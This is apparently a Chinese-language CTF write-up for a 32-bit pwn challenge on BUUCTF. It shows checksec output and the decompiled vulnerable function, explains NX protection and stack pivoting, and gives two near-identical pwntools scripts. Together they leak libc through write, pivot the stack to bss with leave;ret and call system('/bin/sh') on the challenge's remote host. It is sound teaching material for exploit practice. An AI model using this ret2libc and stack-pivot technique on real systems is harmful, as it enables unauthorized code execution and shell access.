做的时候发现忘记了好多知识点 复现一下 不然本来这题的知识点以前的博客都有讲到
1 2 3 4 5 6
| [*] '/home/chen/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
|
没开金丝雀和pie 32位 ida看看
1 2 3 4 5 6 7 8 9 10 11 12 13
| ssize_t vul_function() { size_t v0; size_t v1; char buf[24];
v0 = strlen(m1); write(1, m1, v0); read(0, &s, 0x200u); v1 = strlen(m2); write(1, m2, v1); return read(0, buf, 0x20u); }
|
关键函数 给了两次溢出的机会 第二次只能溢出两个字长 看到这里就应该反应过来是栈迁移
第一个read写入的地址是bss段
这里我一开始想的是写入shellcode 打不通后仔细想了想 重新学习了NX保护
NX保护简单理解就是使内存页的数据不可执行
那为什么我们可以构造rop链呢 因为rop链的执行流控制是利用栈帧的ret指令来实现的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| from pwn import*
def libcmath(function_addr,function_name): libc_addr = function_addr - libc.sym[function_name] system_addr = libc_addr + libc.sym['system'] binsh_addr = libc_addr + next(libc.search(b"/bin/sh")) return system_addr,binsh_addr
def csu(offset,gadget2_addr,call_addr,rdx,rsi,rdi,gadget1_addr,ret_addr): payload = cyclic(offset) payload += p64(gadget2_addr) payload += cyclic(0x8) payload += p64(0) payload += p64(1) payload += p64(call_addr) payload += p64(rdx) payload += p64(rsi) payload += p64(rdi) payload += p64(gadget1_addr) payload += cyclic(56) payload += p64(ret_addr) return payload
def localconnect(filename): io = process(filename) return io
def remoteconnect(ip,port): io = remote(ip,port) return io
def elf_libc(filename,libc_name): elf = ELF(filename) libc = ELF(libc_name) return elf,libc
def debug(button): if(button==1): context.log_level = "debug"
filename = 'pwn' libc_name = 'buu_libc_ubuntu16_32' ip="node4.buuoj.cn" port=27820 elf,libc = elf_libc(filename,libc_name)
io = remoteconnect(ip,port) debug(1) io.recvuntil("What is your name?") puts_plt = 0x8048350 write_plt = 0x8048380 write_got = elf.got['write'] main_addr = elf.sym['main'] puts_got = elf.got['puts'] payload = p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4) io.send(payload) io.recvuntil("What do you want to say?") bss_addr = 0x804A300 leave_addr = 0x08048408 payload = cyclic(0x18)+p32(bss_addr-4)+p32(leave_addr) io.send(payload) write_addr = u32(io.recv()) system_addr,binsh_addr = libcmath(write_addr,'write') io.recvuntil("What is your name?") payload = p32(system_addr)+p32(0)+p32(binsh_addr) io.send(payload)
|
说一下思路吧 第一个read构造write泄露基址 然后要返回main函数 进行下一次的system系统调用
然后栈迁移到对应的地址-4 这里的-4前面的专门讲解栈迁移的篇幅有提到
接下来就是构造system的链 然后执行了
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| from pwn import*
def libcmath(function_addr,function_name): libc_addr = function_addr - libc.sym[function_name] system_addr = libc_addr + libc.sym['system'] binsh_addr = libc_addr + next(libc.search(b"/bin/sh")) return system_addr,binsh_addr
def csu(offset,gadget2_addr,call_addr,rdx,rsi,rdi,gadget1_addr,ret_addr): payload = cyclic(offset) payload += p64(gadget2_addr) payload += cyclic(0x8) payload += p64(0) payload += p64(1) payload += p64(call_addr) payload += p64(rdx) payload += p64(rsi) payload += p64(rdi) payload += p64(gadget1_addr) payload += cyclic(56) payload += p64(ret_addr) return payload
def localconnect(filename): io = process(filename) return io
def remoteconnect(ip,port): io = remote(ip,port) return io
def elf_libc(filename,libc_name): elf = ELF(filename) libc = ELF(libc_name) return elf,libc
def debug(button): if(button==1): context.log_level = "debug"
filename = 'pwn' libc_name = 'buu_libc_ubuntu16_32' ip="node4.buuoj.cn" port=27820 elf,libc = elf_libc(filename,libc_name)
io = remoteconnect(ip,port) debug(1) io.recvuntil("What is your name?") puts_plt = 0x8048350 write_plt = 0x8048380 write_got = elf.got['write'] main_addr = elf.sym['main'] puts_got = elf.got['puts'] payload = p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4) io.send(payload) io.recvuntil("What do you want to say?") bss_addr = 0x804A300 leave_addr = 0x08048408 payload = cyclic(0x18)+p32(bss_addr-4)+p32(leave_addr) io.send(payload) write_addr = u32(io.recv()) system_addr,binsh_addr = libcmath(write_addr,'write') io.recvuntil("What is your name?") payload = p32(system_addr)+p32(0)+p32(binsh_addr) io.send(payload) io.recvuntil("What do you want to say?") payload = cyclic(0x18)+p32(bss_addr-4)+p32(leave_addr) io.send(payload) io.interactive()
|